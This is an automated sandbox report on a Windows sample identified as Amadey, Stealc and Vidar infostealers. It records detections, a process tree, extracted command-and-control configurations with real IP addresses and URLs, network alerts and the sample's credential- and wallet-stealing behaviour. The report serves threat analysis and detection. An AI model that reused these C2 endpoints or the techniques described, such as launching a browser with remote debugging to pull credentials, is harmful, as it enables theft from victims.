Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1556342
MD5:	7e49d88ac571e5c78fdaa08fde637a9a
SHA1:	5b97a3c45497d8b0e8cec831ef1b45636eb17e83
SHA256:	d488822521f7d0508d17d03923c83e0cfba3285518093ce385ff3b7e31cfa122
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7E49D88AC571E5C78FDAA08FDE637A9A)

chrome.exe (PID: 7636 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2136,i,14109516070417243436,11668892957691290116,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 2500 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2224,i,3718411789994067923,11044565851932763251,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 6216 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHDGCAAFBFB.exe (PID: 8648 cmdline: "C:\Users\user\DocumentsHDGCAAFBFB.exe" MD5: C9B569B709CE00A483E1F7B55E1968D7)

skotes.exe (PID: 2348 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: C9B569B709CE00A483E1F7B55E1968D7)

msedge.exe (PID: 4064 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1588 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8608 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5380 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8616 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5388 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8444 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7280 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 8824 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: C9B569B709CE00A483E1F7B55E1968D7)

skotes.exe (PID: 6512 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: C9B569B709CE00A483E1F7B55E1968D7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000002.2595298306.0000000000941000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1348648639.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.1916840148.0000000000941000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.1920883927.0000000000941000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1804765583.00000000004F1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.1897829806.00000000003D1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.skotes.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.DocumentsHDGCAAFBFB.exe.3d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.940000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7284, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7636, ProcessName: chrome.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentCommandLine: "C:\Users\user\DocumentsHDGCAAFBFB.exe" , ParentImage: C:\Users\user\DocumentsHDGCAAFBFB.exe, ParentProcessId: 8648, ParentProcessName: DocumentsHDGCAAFBFB.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" , ProcessId: 2348, ProcessName: skotes.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:55:14.702920+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49712	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:55:14.696264+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:55:14.982351+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:55:16.094647+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:55:14.989812+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.7	49712	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:55:14.399568+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49712	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:57:05.583535+0100	2856147	1	A Network Trojan was detected	192.168.2.7	50097	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:55:02.511989+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	50098	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:57:08.951660+0100	2803305	3	Unknown Traffic	192.168.2.7	50099	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:55:16.812642+0100	2803304	3	Unknown Traffic	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-15T09:55:40.229067+0100	2803304	3	Unknown Traffic	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:41.668011+0100	2803304	3	Unknown Traffic	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:42.667867+0100	2803304	3	Unknown Traffic	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:43.483516+0100	2803304	3	Unknown Traffic	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:45.752796+0100	2803304	3	Unknown Traffic	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:46.395905+0100	2803304	3	Unknown Traffic	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:50.693651+0100	2803304	3	Unknown Traffic	192.168.2.7	50015	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.16/mine/random.exeuip:	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll3	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php;C:	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php&	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exec6	Avira URL Cloud: Label: phishing
Source: http://185.215.113.43/Zu7JuNko/index.phpZ$	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe006397001	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dlli	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dll$p	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dlls	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllW	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpn$	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe61395d7	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpxodus.wallet	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe5cy2o	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.phpt	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe8_	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe450X2	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/luma/random.exe61395dd27y	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 0000001B.00000002.2595298306.0000000000941000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7284.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFDA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CFDA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD44C0 PK11_PubEncrypt,	0_2_6CFD44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D0225B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6D0225B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD4440 PK11_PrivDecrypt,	0_2_6CFD4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFA4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CFA4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CFBE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CFB8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFDA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CFDA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFFA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CFFA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6D000180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6D000180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CFD43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CFF7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CFB7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFFBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CFFBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFF9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CFF9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFD3FF0 PK11_PrivDecryptPKCS1,	0_2_6CFD3FF0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.7:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.7:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.133:443 -> 192.168.2.7:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:50092 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1828526432.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1828526432.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49712 -> 185.215.113.206:80
